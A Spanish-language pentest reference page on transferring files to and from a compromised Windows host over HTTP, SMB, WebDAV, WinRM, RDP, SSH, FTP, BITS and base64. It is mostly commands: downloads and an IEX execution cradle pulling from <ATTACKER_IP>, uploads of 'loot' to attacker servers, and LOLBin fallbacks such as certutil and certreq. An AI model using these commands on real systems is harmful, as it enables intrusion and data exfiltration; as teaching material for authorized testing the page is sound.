Árbol de conocimiento
Seguridad ofensiva
Shells
Transferencia de archivos
Aplicaciones web
En esta página
- Referencia rápida
- HTTP
- Preparar el attacker
- Download
- Descargar scripts sin guardarlos primero
- Reanudar una descarga grande
- HTTP upload
- Preparar uploadserver
- Upload con curl.exe
- certreq.exe
- SMB
- Preparar Impacket SMB
- Download
- Upload
- Sesiones SMB existentes y error 1219
- Ficheros grandes
- Binarios nativos alternativos para SMB
- WebDAV
- Preparar el attacker
- Download
- Upload
- Requisito de WebClient
- Acceso remoto existente
- Evil-WinRM
- PowerShell Remoting
- RDP drive redirection
- OpenSSH
- SCP
- SFTP
- FTP
- Preparar el attacker
- Transferencia interactiva
- FTP desde una shell no interactiva
- BITS
- Start-BitsTransfer
- bitsadmin.exe
- Canales solo-texto
- Base64 con PowerShell
- certutil encode y decode
- EncodedCommand
- Métodos nativos adicionales
- certreq.exe
- esentutl.exe
- expand.exe
- findstr.exe
- Preparar ficheros
- tar.exe
- Compress-Archive
- Integridad
- Codificación de caracteres
- Windows PowerShell 5.1
- PowerShell 7+
- Inspeccionar los bytes
- Referencias
Transferencias de archivos en Windows
Durante un pentest, mover un archivo suele depender más de la shell disponible y de los protocolos alcanzables que de la herramienta que preferiríamos utilizar. PowerShell puede estar restringido mientras certutil.exe sigue funcionando, HTTP puede estar filtrado mientras TCP/445 es accesible, y una sesión WinRM o RDP existente puede proporcionar ya su propio canal de transferencia.
Lo útil es disponer de varias rutas y cambiar de método cuando la restricción actual invalida una de ellas.
En esta Note, download significa attacker → Windows y upload significa Windows → attacker, salvo cuando una herramienta utilice explícitamente otra terminología.
Referencia rápida
| Situación | Métodos a probar |
|---|---|
| PowerShell + HTTP(S) | curl.exe, Invoke-WebRequest, WebClient, BITS |
Solo cmd.exe + HTTP(S) | curl.exe, certutil.exe, bitsadmin.exe, certreq.exe |
| TCP/445 accesible hacia el attacker | Impacket SMB + copy, Copy-Item, robocopy |
| HTTP accesible y se necesita transferencia bidireccional | HTTP upload server o WebDAV |
| Sesión Evil-WinRM | upload / download |
| PowerShell Remoting | Copy-Item -ToSession / -FromSession |
| Sesión RDP | Drive redirection + \\tsclient\share |
| SSH disponible | scp.exe, sftp.exe |
| FTP accesible | ftp.exe |
| Solo existe un canal de texto | Base64 |
| Fallan las rutas habituales | certreq, esentutl, expand, otros binarios nativos |
Antes de montar un canal nuevo, conviene comprobar qué existe realmente en el host.
whoami
echo %TEMP%
where powershell
where curl
where certutil
where bitsadmin
where ftp
where ssh
where scp
where tarwhoami
$env:TEMP
$PSVersionTable.PSVersion
Get-Command curl.exe -ErrorAction SilentlyContinue
Get-Command certutil.exe -ErrorAction SilentlyContinue
Get-Command bitsadmin.exe -ErrorAction SilentlyContinue
Get-Command scp.exe -ErrorAction SilentlyContinue
Get-Command tar.exe -ErrorAction SilentlyContinue%TEMP% suele ser un destino cómodo y escribible con un usuario normal. No hay que asumir que la identidad actual pueda escribir en C:\Windows\Temp o en cualquier otro directorio del sistema.
HTTP
HTTP suele ser uno de los primeros canales que merece la pena probar porque es sencillo exponer un servidor temporal desde el attacker y Windows dispone de varios clientes.
Preparar el attacker
Desde Kali u otro host del operador:
cd /opt/tools
python3 -m http.server 8000
Los ficheros quedan disponibles bajo:
http://<ATTACKER_IP>:8000/
Que falle un cliente concreto no demuestra que HTTP esté bloqueado. PowerShell puede estar restringido mientras curl.exe o certutil.exe continúan funcionando.
Download
Los siguientes comandos recuperan el mismo fichero utilizando clientes distintos del propio Windows.
curl.exe http://<ATTACKER_IP>:8000/tool.exe -o %TEMP%\tool.exeInvoke-WebRequest `
-UseBasicParsing `
-Uri 'http://<ATTACKER_IP>:8000/tool.exe' `
-OutFile "$env:TEMP\tool.exe"(New-Object Net.WebClient).DownloadFile(
'http://<ATTACKER_IP>:8000/tool.exe',
"$env:TEMP\tool.exe"
)certutil.exe -urlcache -split -f http://<ATTACKER_IP>:8000/tool.exe %TEMP%\tool.exebitsadmin /transfer downloadJob /download /priority normal ^
http://<ATTACKER_IP>:8000/tool.exe ^
%TEMP%\tool.execertutil.exe y bitsadmin.exe siguen siendo alternativas útiles desde shells limitadas cuando están presentes. Que Microsoft considere antigua o deprecada su interfaz administrativa no impide que la técnica de transferencia funcione; LOLBAS sigue documentando ambas en versiones actuales de Windows.
En PowerShell 7+ la misma descarga no necesita ese parámetro:
Invoke-WebRequest `
-Uri 'http://<ATTACKER_IP>:8000/tool.exe' `
-OutFile "$env:TEMP\tool.exe"
Windows PowerShell 5.1 también define curl como alias de Invoke-WebRequest. Utiliza curl.exe cuando quieras ejecutar específicamente el cliente curl nativo.
Descargar scripts sin guardarlos primero
Cuando el contenido objetivo es un script PowerShell, también puede recuperarse como texto:
(New-Object Net.WebClient).DownloadString(
'http://<ATTACKER_IP>:8000/script.ps1'
)
o:
(Invoke-WebRequest `
-UseBasicParsing `
'http://<ATTACKER_IP>:8000/script.ps1'
).Content
Combinar la descarga con Invoke-Expression convierte el patrón en un cradle de ejecución y deja de ser una transferencia de fichero propiamente dicha:
IEX (New-Object Net.WebClient).DownloadString(
'http://<ATTACKER_IP>:8000/script.ps1'
)
Se incluye porque suele aparecer junto a estas técnicas; ejecución y evasión defensiva pertenecen a sus propias Notes.
Reanudar una descarga grande
Si el servidor HTTP soporta range requests, curl puede continuar una descarga parcial:
curl.exe -C - ^
http://<ATTACKER_IP>:8000/large.zip ^
-o %TEMP%\large.zip
HTTP upload
python3 -m http.server solo resuelve attacker → Windows. Para recibir ficheros desde el target hace falta un endpoint que acepte uploads.
Preparar uploadserver
python3 -m pip install --user uploadserver
python3 -m uploadserver 8000
El endpoint queda en:
http://<ATTACKER_IP>:8000/upload
Upload con curl.exe
curl.exe -X POST ^
-F "files=@C:\Windows\Temp\loot.zip" ^
http://<ATTACKER_IP>:8000/upload
Desde PowerShell:
curl.exe -X POST `
-F "files=@$env:TEMP\loot.zip" `
"http://<ATTACKER_IP>:8000/upload"
certreq.exe
certreq.exe ofrece otra ruta HTTP nativa cuando los clientes habituales no encajan. Puede enviar un fichero mediante POST a un handler compatible:
certreq.exe -Post ^
-config http://<ATTACKER_IP>:8000/ ^
C:\Windows\Temp\loot.zip
También puede guardar la respuesta del servidor:
certreq.exe -Post ^
-config http://<ATTACKER_IP>:8000/ ^
C:\Windows\Temp\request.bin ^
C:\Windows\Temp\response.bin
El receptor debe entender el POST generado por certreq; no hay que asumir que cualquier servidor de multipart upload será compatible.
SMB
SMB es uno de los canales bidireccionales más cómodos en un pentest interno. Si el Windows comprometido puede alcanzar TCP/445 en la máquina atacante, un share temporal permite utilizar comandos de copia nativos.
Preparar Impacket SMB
Share anónimo:
sudo impacket-smbserver share . -smb2support
Windows lo puede direccionar como:
\\<ATTACKER_IP>\share
Si guest access es rechazado, expón el share con credenciales:
sudo impacket-smbserver share . -smb2support \
-username transfer -password 'TransferPass1!'
Y autentica desde Windows:
net use \\<ATTACKER_IP>\share /user:transfer *
El * solicita la contraseña de forma interactiva en lugar de dejarla en el historial de comandos de Windows.
Download
copy \\<ATTACKER_IP>\share\tool.exe %TEMP%\tool.exeCopy-Item `
"\\<ATTACKER_IP>\share\tool.exe" `
"$env:TEMP\tool.exe"Upload
copy %TEMP%\loot.zip \\<ATTACKER_IP>\share\loot.zipCopy-Item `
"$env:TEMP\loot.zip" `
"\\<ATTACKER_IP>\share\loot.zip"Elimina un mapping creado solo para la transferencia cuando deje de ser necesario:
net use \\<ATTACKER_IP>\share /delete
Sesiones SMB existentes y error 1219
Windows mantiene conexiones SMB por servidor y contexto de logon. Intentar conectar al mismo servidor con una segunda identidad puede producir:
System error 1219 has occurred.
Multiple connections to a server or shared resource by the same user,
using more than one user name, are not allowed.
Comprueba primero las conexiones existentes:
net use
Elimina solo la conexión que ya no necesites y vuelve a autenticar.
Ficheros grandes
Para ficheros grandes o conexiones poco estables, robocopy puede ser más útil que un copy simple:
robocopy \\<ATTACKER_IP>\share %TEMP% large.zip /Z /J /R:2 /W:2
Upload:
robocopy %TEMP% \\<ATTACKER_IP>\share loot.zip /Z /J /R:2 /W:2
/Z habilita modo reiniciable y /J utiliza I/O sin buffer, útil con ficheros grandes.
Binarios nativos alternativos para SMB
Si copy o PowerShell están restringidos, otros binarios de Windows pueden seguir leyendo una ruta UNC.
esentutl.exe:
esentutl.exe /y ^
\\<ATTACKER_IP>\share\tool.exe ^
/d %TEMP%\tool.exe ^
/o
expand.exe:
expand.exe ^
\\<ATTACKER_IP>\share\tool.exe ^
%TEMP%\tool.exe
Son rutas de fallback; no son mejores que copy cuando el comando normal ya funciona.
WebDAV
WebDAV resulta útil cuando HTTP es alcanzable pero SMB directo no lo es. Windows puede exponer un recurso WebDAV mediante una ruta similar a UNC cuando el servicio WebClient está disponible.
Preparar el attacker
WsgiDAV permite levantar rápidamente un servidor de lectura y escritura:
python3 -m pip install wsgidav cheroot
wsgidav --host=0.0.0.0 --port=80 --root=. --auth=anonymous
Windows direcciona el recurso como:
\\<ATTACKER_IP>@80\DavWWWRoot\
Para HTTPS en el puerto por defecto:
\\<ATTACKER_IP>@SSL\DavWWWRoot\
Download
Incluso cmd.exe puede copiar datos desde WebDAV mediante redirección:
type \\<ATTACKER_IP>@80\DavWWWRoot\tool.exe > %TEMP%\tool.exe
Upload
Si el servidor permite escritura:
type %TEMP%\loot.zip > \\<ATTACKER_IP>@80\DavWWWRoot\loot.zip
LOLBAS documenta ambas direcciones mediante cmd.exe en versiones actuales de Windows.
Requisito de WebClient
Si la ruta UNC WebDAV falla de forma inesperada, comprueba el servicio:
sc query WebClientGet-Service WebClientAcceso remoto existente
Cuando el propio método de acceso remoto ya soporta transferencia, normalmente es más rápido utilizar ese canal que levantar otro servicio.
Evil-WinRM
Upload hacia Windows:
upload /opt/tools/tool.exe C:\Windows\Temp\tool.exe
Download desde Windows:
download C:\Windows\Temp\loot.zip /tmp/loot.zip
upload y download son aquí comandos de Evil-WinRM, no cmdlets de PowerShell.
PowerShell Remoting
Una PSSession permite utilizar Copy-Item -ToSession y -FromSession.
$session = New-PSSession -ComputerName TARGET -Credential CORP\user
Upload:
Copy-Item `
.\tool.exe `
-Destination 'C:\Windows\Temp\tool.exe' `
-ToSession $session
Download:
Copy-Item `
'C:\Windows\Temp\loot.zip' `
-Destination '.\loot.zip' `
-FromSession $session
Cerrar la sesión:
Remove-PSSession $session
RDP drive redirection
FreeRDP puede exponer un directorio local del operador dentro de la sesión Windows:
xfreerdp /v:<TARGET> /u:user /drive:share,/opt/tools
Dependiendo del paquete instalado, el binario puede llamarse xfreerdp, xfreerdp3 u otra variante versionada. La opción relevante es /drive.
Dentro de Windows:
dir \\tsclient\share
Download:
copy \\tsclient\share\tool.exe %TEMP%\tool.exe
Upload:
copy %TEMP%\loot.zip \\tsclient\share\loot.zip
OpenSSH
Cuando el cliente OpenSSH está instalado, scp.exe y sftp.exe proporcionan otra ruta bidireccional.
Comprobar disponibilidad:
where scp
where sftp
Suelen encontrarse bajo:
C:\Windows\System32\OpenSSH\
SCP
Download:
scp.exe operator@<ATTACKER_IP>:/opt/tools/tool.exe %TEMP%\tool.exe
Upload:
scp.exe %TEMP%\loot.zip operator@<ATTACKER_IP>:/tmp/loot.zip
SFTP
sftp.exe operator@<ATTACKER_IP>
Dentro de la sesión:
sftp> get tool.exe C:\Windows\Temp\tool.exe
sftp> put C:\Windows\Temp\loot.zip loot.zip
get y put se interpretan desde la perspectiva del cliente SFTP que se está ejecutando en Windows.
FTP
ftp.exe sigue siendo útil cuando el cliente existe y la red permite los canales de control y datos de FTP.
Preparar el attacker
Un servidor anónimo rápido con pyftpdlib escucha por defecto en TCP/2121:
python3 -m pip install --user pyftpdlib
python3 -m pyftpdlib
Para permitir uploads anónimos:
python3 -m pyftpdlib --write
Transferencia interactiva
ftp <ATTACKER_IP>
Después:
ftp> binary
ftp> get tool.exe
ftp> put loot.zip
ftp> quit
Utiliza binary para ejecutables, archivos comprimidos, dumps y cualquier otro flujo arbitrario de bytes.
FTP desde una shell no interactiva
ftp.exe -s lee comandos desde un fichero:
(
echo open <ATTACKER_IP> 2121
echo anonymous
echo anonymous
echo binary
echo get tool.exe
echo quit
) > %TEMP%\ftp.txt
ftp.exe -s:%TEMP%\ftp.txt
BITS
BITS puede utilizarse tanto desde PowerShell como mediante bitsadmin.exe.
Start-BitsTransfer
Start-BitsTransfer `
-Source 'http://<ATTACKER_IP>:8000/tool.exe' `
-Destination "$env:TEMP\tool.exe"
Para crear un job asíncrono:
$job = Start-BitsTransfer `
-Source 'http://<ATTACKER_IP>:8000/large.zip' `
-Destination "$env:TEMP\large.zip" `
-Asynchronous
Comprobarlo:
Get-BitsTransfer
Cuando alcance Transferred:
Complete-BitsTransfer $job
bitsadmin.exe
Desde cmd.exe:
bitsadmin /transfer downloadJob ^
/download ^
/priority normal ^
http://<ATTACKER_IP>:8000/tool.exe ^
%TEMP%\tool.exe
La interfaz bitsadmin.exe está deprecada para administración moderna, pero ese estado no la vuelve inútil durante un pentest si está presente y funciona.
Canales solo-texto
Cuando no existe un camino binario utilizable pero la shell puede enviar y recibir texto, Base64 permite representar cualquier secuencia de bytes.
Resulta práctico para scripts pequeños, claves, configuración y binarios de poco tamaño. Se vuelve progresivamente frágil con ficheros grandes porque la representación codificada ocupa aproximadamente un tercio más y puede alcanzar límites de command line o de output de la shell.
Base64 con PowerShell
Encode:
[Convert]::ToBase64String(
[IO.File]::ReadAllBytes("$env:TEMP\loot.bin")
)
En Linux:
base64 -w 0 loot.bin
Decode en PowerShell:
$b64 = Get-Content '.\loot.b64' -Raw
[IO.File]::WriteAllBytes(
"$env:TEMP\loot.bin",
[Convert]::FromBase64String($b64.Trim())
)
Decode en Linux:
base64 -d loot.b64 > loot.bin
certutil encode y decode
Desde cmd.exe:
certutil.exe -encode %TEMP%\loot.bin %TEMP%\loot.b64
certutil.exe -decode %TEMP%\tool.b64 %TEMP%\tool.exe
EncodedCommand
-EncodedCommand también utiliza Base64, pero resuelve transporte de una línea de comandos, no transferencia genérica de ficheros. Tanto powershell.exe como pwsh esperan que el comando se convierta primero a bytes UTF-16LE y después a Base64.
Desde Linux:
printf %s 'Get-ChildItem C:\' |
iconv -t UTF-16LE |
base64 -w 0
Después:
powershell.exe -EncodedCommand <BASE64>
Métodos nativos adicionales
Windows contiene muchos binarios firmados capaces de mover datos aunque esa no sea su función principal. Memorizar todos los LOLBins aporta poco; mantener un pequeño repertorio de fallback sí resulta útil cuando los clientes obvios están bloqueados o no existen.
certreq.exe
HTTP POST:
certreq.exe -Post ^
-config http://<ATTACKER_IP>:8000/ ^
%TEMP%\loot.zip
esentutl.exe
Copiar desde SMB:
esentutl.exe /y ^
\\<ATTACKER_IP>\share\tool.exe ^
/d %TEMP%\tool.exe ^
/o
expand.exe
expand.exe ^
\\<ATTACKER_IP>\share\tool.exe ^
%TEMP%\tool.exe
findstr.exe
Otra alternativa para una ruta WebDAV/UNC:
findstr.exe /V /L DOES_NOT_EXIST ^
\\<ATTACKER_IP>@80\DavWWWRoot\tool.exe ^
> %TEMP%\tool.exe
Son técnicas de repertorio y fallback. Si curl.exe, copy o el canal de acceso remoto actual ya funcionan de forma fiable, no hace falta sustituirlos por un binario más inusual.
Preparar ficheros
Empaquetar muchos ficheros en un único archivo reduce el número de transferencias y simplifica la comprobación de integridad.
tar.exe
Comprobar disponibilidad:
where tar
Crear ZIP:
tar.exe -caf %TEMP%\loot.zip C:\Path\To\Collection
Crear tar.gz:
tar.exe -czf %TEMP%\loot.tar.gz C:\Path\To\Collection
Compress-Archive
Compress-Archive `
-Path 'C:\Path\To\Collection\*' `
-DestinationPath "$env:TEMP\loot.zip"
Integridad
Comparar SHA-256 permite comprobar rápidamente que ambos extremos contienen exactamente los mismos bytes después de la transferencia.
Get-FileHash `
"$env:TEMP\tool.exe" `
-Algorithm SHA256certutil.exe -hashfile %TEMP%\tool.exe SHA256sha256sum tool.exeLa verificación del hash resulta especialmente útil después de Base64, chunking, web shells, transferencias interrumpidas o cualquier transformación donde pueda haberse producido truncado.
Codificación de caracteres
La codificación importa cuando el contenido se crea, interpreta o transforma como texto. Una transferencia binaria normal mediante HTTP, SMB, SCP o WinRM debería conservar los bytes sin modificar su encoding.
Windows no tiene una única codificación universal para sus ficheros de texto. Una sorpresa habitual durante pentesting aparece por la diferencia entre Windows PowerShell 5.1 y PowerShell moderno.
Windows PowerShell 5.1
Out-File y los operadores de redirección > / >> generan UTF-16LE por defecto:
whoami > users.txt
El fichero resultante puede verse extraño al inspeccionarlo desde Linux porque un carácter del rango ASCII como a se almacena como la unidad UTF-16LE 61 00, no como el único byte 61 que utilizaría UTF-8 para ese mismo carácter.
PowerShell 7+
PowerShell moderno utiliza UTF-8 sin BOM como default para la salida de texto. Un comando visualmente idéntico puede, por tanto, producir una representación de bytes diferente dependiendo del engine que lo ejecutó.
Inspeccionar los bytes
PowerShell:
Format-Hex .\users.txt
Linux:
file users.txt
xxd users.txt | head
CRLF/LF y UTF-8/UTF-16 son propiedades distintas:
character encoding UTF-8 / UTF-16LE / ...
line ending CRLF / LF
dos2unix modifica los line endings; no es una solución genérica para un problema de character encoding.
UTF-16LE, BOM y los bytes del antiguo ejemplo de Windows
Un BOM (byte-order mark) es una pequeña firma Unicode que puede aparecer al principio de un flujo de texto. En UTF-16LE la secuencia es FF FE. Puede indicar al lector que las unidades de código de 16 bits siguientes están almacenadas en orden little-endian.
Para el texto abc seguido de un salto CRLF típico de Windows, un fichero UTF-16LE con BOM puede comenzar así:
FF FE 61 00 62 00 63 00 0D 00 0A 00
│ │ │ │ │ │
BOM a b c CR LF
El code point Unicode de a es U+0061. UTF-16 lo representa aquí como el valor de 16 bits 0x0061; el orden little-endian guarda primero el byte menos significativo, produciendo 61 00.
La misma lógica se aplica a CR (U+000D → 0D 00) y LF (U+000A → 0A 00). Por eso un output UTF-16LE generado por Windows PowerShell puede parecer lleno de bytes 00 entre caracteres ASCII normales cuando se inspecciona con xxd.
El BOM no es obligatorio para todas las codificaciones Unicode ni para todas las aplicaciones productoras. Su presencia aporta evidencia sobre el encoding; su ausencia no demuestra que el fichero sea ASCII o UTF-8.
Esto también explica por qué -EncodedCommand exige UTF-16LE sin implicar que los ficheros de Windows utilicen UTF-16LE en general: lo primero es un contrato concreto de línea de comandos y lo segundo depende del programa que creó el fichero.
Referencias
- Microsoft — Codificación de caracteres en PowerShell
- Microsoft — Invoke-WebRequest
- Microsoft — Copy-Item
- Microsoft — Start-BitsTransfer
- Microsoft — robocopy
- Microsoft — OpenSSH para Windows
- LOLBAS — Binarios Windows con capacidades de transferencia
- Fortra Impacket — smbserver.py
- Hackplayers — Evil-WinRM
- Densaugeo — uploadserver
- WsgiDAV
- pyftpdlib — Uso desde línea de comandos
- FreeRDP — Interfaz de línea de comandos
- Hack The Box Academy — File Transfers